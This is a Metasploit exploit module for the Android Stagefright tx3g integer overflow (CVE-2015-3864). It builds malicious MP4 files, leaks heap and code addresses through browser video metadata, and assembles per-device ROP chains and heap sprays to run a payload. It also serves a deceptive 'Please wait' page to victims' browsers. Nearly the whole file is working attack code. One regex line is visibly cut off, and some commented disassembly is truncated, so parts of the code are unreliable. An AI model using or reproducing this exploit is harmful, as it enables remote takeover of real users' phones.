require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Android Stagefright MP4 tx3g Integer Overflow",
'Description'=> %q{
This module exploits a integer overflow vulnerability in the Stagefright
Library (libstagefright.so). The vulnerability occurs when parsing specially
crafted MP4 files. While a wide variety of remote attack vectors exist, this
particular exploit is designed to work within an HTML5 compliant browser.
Exploitation is done by supplying a specially crafted MP4 file with two
tx3g atoms that, when their sizes are summed, cause an integer overflow when
processing the second atom. As a result, a temporary buffer is allocated
with insufficient size and a memcpy call leads to a heap overflow.
This version of the exploit uses a two-stage information leak based on
corrupting the MetaData that the browser reads from mediaserver. This method
is based on a technique published in NorthBit's Metaphor paper. First,
we use a variant of their technique to read the address of a heap buffer
located adjacent to a SampleIterator object as the video HTML element's
videoHeight. Next, we read the vtable pointer from an empty Vector within
the SampleIterator object using the video element's duration. This gives
us a code address that we can use to determine the base address of
libstagefright and construct a ROP chain dynamically.
NOTE: the mediaserver process on many Android devices (Nexus, for example) is
constrained by SELinux and thus cannot use the execve system call. To avoid
this problem, the original exploit uses a kernel exploit payload that disables
SELinux and spawns a shell as root. Work is underway to make the framework
more amenable to these types of situations. Until that work is complete, this
exploit will only yield a shell on devices without SELinux or with SELinux in
permissive mode.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'jduck',
'NorthBit'
],
'References' =>
[
[ 'CVE', '2015-3864' ],
[ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
[ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
[ 'URL', 'https://github.com/NorthBit/Metaphor' ],
[ 'URL', 'http://drops.wooyun.org/papers/7558' ],
[ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
],
'Payload'=>
{
'Space'=> 2048,
'DisableNops' => true,
},
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Targets'=>
[
[ 'Automatic', {} ],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX21P',
'Release' => '5.0',
'Rop' => 'lrx',
'SprayAddress' => 0xb1508000
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48G',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48B',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47E',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28E',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28E'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47M',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47Z',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48C',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28J',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28J'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48E',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
{
'Model' => 'SM-G900V',
'Build' => 'LRX21T',
'Release' => '5.0',
'Rop' => 'sm-g900v / OE1',
'SprayAddress' => 0xaf008000,
'SampleIteratorSize' => 0xa8,
'VectorSize' => 0xec
}
]
],
'Privileged' => true,
'DisclosureDate' => "Aug 13 2015",
'DefaultTarget'=> 0))
=begin
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
=end
end
def exploit
@peers = {}
super
end
def get_target(request)
agent = request.headers['User-Agent']
self.targets.each do |t|
next if t.name == 'Automatic'
regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
return t if (agent =~ /
end
return nil
end
def build_spray(my_target, peer, spray_addr)
page = ''
page = rand_text(4096)
details = get_details(my_target)
return nil if details.nil?
vector_rva = details['VectorRVA']
vector_ptr = peer[:vector_vtable_addr]
libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)
=begin
0xb65fd7c4 <parseChunk(long long*, int)+4596>:ldr r2, [r0,
0xb65fd7c6 <parseChunk(long long*, int)+4598>:str r1, [sp,
0xb65fd7c8 <parseChunk(long long*, int)+4600>:ldr r5, [r7,
0xb65fd7ca <parseChunk(long long*, int)+4602>:str r5, [sp,
0xb65fd7cc <parseChunk(long long*, int)+4604>:ldr r6, [r2,
0xb65fd7ce <parseChunk(long long*, int)+4606>:ldrdr2, r3, [r10]
0xb65fd7d2 <parseChunk(long long*, int)+4610>:blx r6
0xb65fd7d4 <parseChunk(long long*, int)+4612>:ldrdr2, r3, [sp,
=end
mds_pivot1 = libsf_base + details['Pivot1']
mds_pivot2 = libsf_base + details['Pivot2']
mds_adjust = libsf_base + details['Adjust']
rop_start_off = 0x30
new_sp = spray_addr + rop_start_off
unalign_off = 0x998
new_sp2 = new_sp + 0x1000 - unalign_off
payload_ptr = spray_addr + 0xa0
stack_fix = "\x0a\xd0\xa0\xe1"
case details['PivotStrategy']
when 'lrx'
addroffs = [
[ 0x0, new_sp ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
]
rop_start_off -= 4
payload_ptr -= 4
when 'lmy-1'
addroffs = [
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
when 'lmy-2'
ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
stack_fix = "\x09\xd0\xa0\xe1"
when 'lyz'
ptr_to_mds_pivot2 = spray_addr + 0x8
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
[ 0x24, new_sp ],
[ 0x2c, mds_adjust ]
]
stack_fix = ""
when 'sm-g900v'
addroffs = [
[ 0x4, mds_adjust ],
[ 0x10, new_sp ],
[ 0x1c, mds_pivot1 ],
[ 0x20, mds_pivot2 ]
]
else
print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
return nil
end
rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })
idx = rop.index([ 0xc600613c ].pack('V'))
rop[idx, 4] = [ payload_ptr ].pack('V')
page[rop_start_off, rop.length] = rop
addroffs.each do |ao|
off,addr = ao
page[off,4] = [ addr ].pack('V')
if addr == new_sp
page[off+unalign_off,4] = [ new_sp2 ].pack('V')
else
page[off+unalign_off,4] = [ addr ].pack('V')
end
end
page
end
def get_atom(tag, data='', length=nil)
if tag.length != 4
raise 'Yo! They call it "FourCC" for a reason.'
end
length ||= data.length + 8
if length >= 2**32
return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
end
[ [ length ].pack('N'), tag, data ].join
end
def get_stsc(num)
stsc_data = [ 0, num ].pack('N*')
stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
get_atom('stsc', stsc_data)
end
def get_ftyp
ftyp = 'mp42'
ftyp << [ 0 ].pack('N')
ftyp << 'mp42'
ftyp << 'isom'
get_atom('ftyp', ftyp)
end
def get_pssh(alloc_size)
pssh_data = ''
pssh_data << [ 0 ].pack('N')
pssh_data << [ 0, 0, 0, 0 ].pack('N*')
pssh_data << [ alloc_size ].pack('N')
alloc_size.times do |off|
pssh_data << [ 0x55aa0000 + off ] .pack('V')
end
get_atom('pssh', pssh_data)
end
def get_metaitem(tag, type, data)
ret = ''
ret << tag.reverse
ret << type.reverse
case type
when 'in32'
ret << [ 4, data ].pack('V*')
when 'in64'
ret << [ 8, data ].pack('V*')
else
raise "How do you expect me to make a #{type.inspect} ??"
end
ret
end
def jemalloc_round(sz)
if (sz > 0x10 && sz <= 0x80)
round = 16
elsif (sz > 0x80 && sz <= 0x140)
round = 32
else
raise "Don't know how to round 0x%x" % sz
end
ret = (sz + (round - 1)) / round
ret *= round
return ret
end
def get_mp4_leak(my_target, peer)
sampiter_alloc_size = 0x78
sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
sampiter_rounded = jemalloc_round(sampiter_alloc_size)
vector_alloc_size = 0x8c
vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
groom_count = 0x10
is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')
shape_vector = get_pssh(vector_alloc_size)
placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))
tx3g1_overhead = 0x8
tx3g2_overhead = 0x10
tx3g_target = jemalloc_round(vector_alloc_size)
tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
tx3g_data = 'x' * tx3g1_padding
tx3g_1 = get_atom('tx3g', tx3g_data)
near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)
more_data = ''
more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')
near_sampiter_addr = peer[:near_sampiter_addr]
if near_sampiter_addr.nil?
if is_samsung
more_data << get_metaitem('dmcE', 'in32', 1)
more_data << get_metaitem('abc1', 'in32', 31335)
more_data << get_metaitem('abc2', 'in32', 31336)
end
more_data << get_metaitem('abc3', 'in32', 31337)
heig = get_metaitem('heig', 'in32', 31338)
more_data << heig[0,12]
else
if is_samsung
more_data << get_metaitem('dmcE', 'in32', 1)
else
near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
end
ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
end
big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
tx3g_2 = get_atom('tx3g', more_data, big_num)
stbl_data = get_stsc(1)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))
stbl = get_atom('stbl', stbl_data)
verified_trak = get_atom('trak', stbl)
trak_data = ''
if is_samsung
mdhd_data = [ 0 ].pack('N')
mdhd_data << "\x00" * 8
mdhd_data << [ 1 ].pack('N')
mdhd_data << [ 314 ].pack('N')
mdhd_data << [ 0 ].pack('n')
trak_data << get_atom('mdhd', mdhd_data)
end
mp4v_data = ''
mp4v_data << [ 0 ].pack('C') * 24
mp4v_data << [ 1024 ].pack('n')
mp4v_data << [ 768 ].pack('n')
mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length)
trak_data << get_atom('mp4v', mp4v_data)
if is_samsung
trak_data << placeholder
trak_data << shape_vector
trak_data << stbl
else
trak_data << stbl
trak_data << placeholder
trak_data << shape_vector
end
trak_data << near_sampiter
trigger = ''
trigger << tx3g_1
trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))
trigger << tx3g_2
if is_samsung
trak_data << get_atom('trak', trigger)
else
trak_data << trigger
end
trak = get_atom('trak', trak_data)
chunks = []
chunks << get_ftyp()
chunks << get_atom('moov')
chunks << verified_trak * 0x200
chunks << shape_vector * groom_count
chunks << trak
mp4 = chunks.join
mp4
end
def get_mp4_rce(my_target, peer)
chunks = []
chunks << get_ftyp()
moov_data = ''
mvhd_data = [ 0, 0x41414141 ].pack('N*')
mvhd_data << 'B' * 0x5c
moov_data << get_atom('mvhd', mvhd_data)
verified_trak = ''
stbl_data = get_stsc(0x28)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))
verified_trak << get_atom('trak', get_atom('stbl', stbl_data))
moov_data << verified_trak
spray_addr = 0xb0c08000
spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?
page = build_spray(my_target, peer, spray_addr)
return nil if page.nil?
spray = page * (((16 * 1024 * 1024) / page.length) - 20)
avcc = get_atom('avcC', spray)
tkhd1 = ''
tkhd1 << [ 0 ].pack('C')
tkhd1 << 'D' * 3
tkhd1 << 'E' * (5*4)
tkhd1 << 'F' * 0x10
tkhd1 << [
0x10000,
0,
0,
0,
0x10000,
0
].pack('N*')
tkhd1 << 'G' * 0x14
trak1 = ''
trak1 << get_atom('tkhd', tkhd1)
mdia1 = ''
mdhd1 = [ 0 ].pack('C')
mdhd1 << 'D' * 0x17
mdia1 << get_atom('mdhd', mdhd1)
mdia1 << get_atom('hdlr', 'F' * 0x38)
dinf1 = ''
dinf1 << get_atom('dref', 'H' * 0x14)
minf1 = ''
minf1 << get_atom('smhd', 'G' * 0x08)
minf1 << get_atom('dinf', dinf1)
stbl1 = get_stsc(2)
minf1 << get_atom('stbl', stbl1)
mdia1 << get_atom('minf', minf1)
trak1 << get_atom('mdia', mdia1)
block = 'Q' * 0x1c
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
trak1 << verified_trak
trak1 << avcc
alloc_size = 0x20
overflow_size = 0xc0
overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_1 = get_atom('tx3g', overflow)
trak1 << tx3g_1
block = 'R' * 0x40
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_2 = get_atom('tx3g', more_data, big_num)
trak1 << tx3g_2
moov_data << get_atom('trak', trak1)
moov = get_atom('moov', moov_data)
chunks << moov
mp4 = chunks.join
mp4
end
def on_request_uri(cli, request)
if request.uri =~ /\.mp4\?/i
mp4_fn = request.uri.split('/')[-1]
mp4_fn = mp4_fn.split('?')[0]
mp4_fn[-4,4] = ''
peer = @peers[mp4_fn]
my_target = nil
my_target = peer[:target] if peer
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
return
end
sia_addr = request.qstring['sia'].to_i
peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
sfv_addr = request.qstring['sfv'].to_i
peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
if sia_addr == 0 && sfv_addr == 0
peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
end
out_hdrs = {'Content-Type'=>'video/mp4'}
if peer[:vector_vtable_addr].nil?
mode = "infoleak"
mp4 = get_mp4_leak(my_target, peer)
else
mode = "RCE"
mp4 = get_mp4_rce(my_target, peer)
if mp4.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
return
end
end
if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
mp4 = Rex::Text.gzip(mp4)
out_hdrs.merge!('Content-Encoding' => 'gzip')
gzip = "gzip'd"
else
gzip = "raw"
end
client = "Browser"
if request.headers['User-Agent'].include? 'stagefright'
client = "SF"
end
addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]
print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")
send_response(cli, mp4, out_hdrs)
return
end
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
return
end
vprint_status("Target selected: #{my_target.name}")
end
mp4_fn = rand_text_alpha(11)
@peers[mp4_fn] = { :target => my_target }
mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"
html = %Q^<html>
<head>
<title>Please wait...</title>
<script>
var video; // the video tag
var to_id; // timeout ID
var req_start; // when we requested the video
var load_start;// when we loaded the video
// Give mediaserver some time to settle down after restarting -- increases reliability
var waitTime = 100; // 6000;
var error = false;
var near_sampiter_addr = -1;
var vector_vtable_addr = -1;
var crashes = 0;
function duration_changed() {
var now = Date.now();
var req_time = now - req_start;
var load_time = now - load_start;
console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));
if (load_time > 2000) {
// probably crashed. reset the entire process..
near_sampiter_addr = -1;
vector_vtable_addr = -1;
waitTime = 6000;
crashes += 1;
if (crashes > 5) {
console.log('too many crashes!!!');
stop_everything();
}
}
else {
// if we got the near_sampiter_addr already, we are now trying to read the code pointer.
// otherwise, we're trying to find near_sampiter_addr...
if (near_sampiter_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.videoHeight != 768) { // XXX: TODO: parameterize
if (video.videoHeight != 0) { // wtf? crashed??
value = video.videoHeight;
console.log('leaked heap pointer: 0x' + value.toString(16));
near_sampiter_addr = value;
}
}
} else if (vector_vtable_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.duration != 314) { // XXX: TODO: parameterize
// zero means a value that could not be represented...
if (video.duration != 0) {
var value = Math.round(video.duration * 1000000);
console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));
vector_vtable_addr = value;
}
}
}
// otherwise, we just keep trying with the data we have...
}
if (error == false) {
if (vector_vtable_addr == -1) {
to_id = setTimeout(reload_leak, waitTime);
} else {
to_id = setTimeout(reload_rce, waitTime);
}
waitTime = 100;
}
}
function stop_everything() {
if (error == false) {
console.log('---- GIVING UP!! ----');
error = true;
}
if (to_id != -1) {
clearTimeout(to_id);
}
}
function start() {
video = document.getElementById('vid');
video.onerror = function() {
console.log('onError called!');
stop_everything();
}
video.ondurationchange = duration_changed;
//reload_rce();
reload_leak();
}
function get_uri() {
var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;
var uri = '#{mp4_uri}?x=' + rn;
if (near_sampiter_addr != -1) {
uri += '&sia=' + near_sampiter_addr;
}
if (vector_vtable_addr != -1) {
uri += '&sfv=' + vector_vtable_addr;
}
return uri;
}
function reload_leak() {
to_id = -1;
var xhr = new XMLHttpRequest;
xhr.responseType = 'blob';
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status != 200 || !xhr.response) {
stop_everything();
return;
}
load_start = Date.now();
try {
//var url = URL.createObjectURL(xhr.response);
var a = new FileReader();
a.onload = function(e) {
//console.log('onload: ' + e.target.result);
video.src = e.target.result
};
a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
a.readAsDataURL(xhr.response);
} catch(e) {
console.log('ERROR: ' + e.message);
stop_everything();
}
}
};
xhr.open('GET', get_uri(), true);
req_start = Date.now();
xhr.send();
}
function reload_rce() {
to_id = -1;
video.src = get_uri();
}
</script></head>
<body onload='start()'>
<video id=vid width=1px controls>
Your browser does not support VIDEO tags.
</video><br />
Please wait while we locate your content...
</body>
</html>
^
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def get_details(my_target)
details = {
'lrx' => {
'VectorRVA' => 0x10ae30,
'PivotStrategy' => 'lrx',
'Pivot1' => 0x67f7b,
'Pivot2' => 0xaf9dd,
'Adjust' => 0x475cd
},
'lmy-1' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-1',
'Pivot1' => 0x68783,
'Pivot2' => 0x81959,
'Adjust' => 0x479b1
},
'lmy-2' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-2',
'Pivot1' => 0x6f093,
'Pivot2' => 0x81921,
'Adjust' => 0x479b1
},
'shamu / LYZ28E' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e91,
'Pivot2' => 0x72951,
'Adjust' => 0x44f81
},
'shamu / LYZ28J' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e49,
'Pivot2' => 0x72951,
'Adjust' => 0x44f81
},
'sm-g900v / OE1' => {
'VectorRVA' => 0x174048,
'PivotStrategy' => 'sm-g900v',
'Pivot1' => 0x89f83,
'Pivot2' => 0xb813f,
'Adjust' => 0x65421
}
}
details[my_target['Rop']]
end
end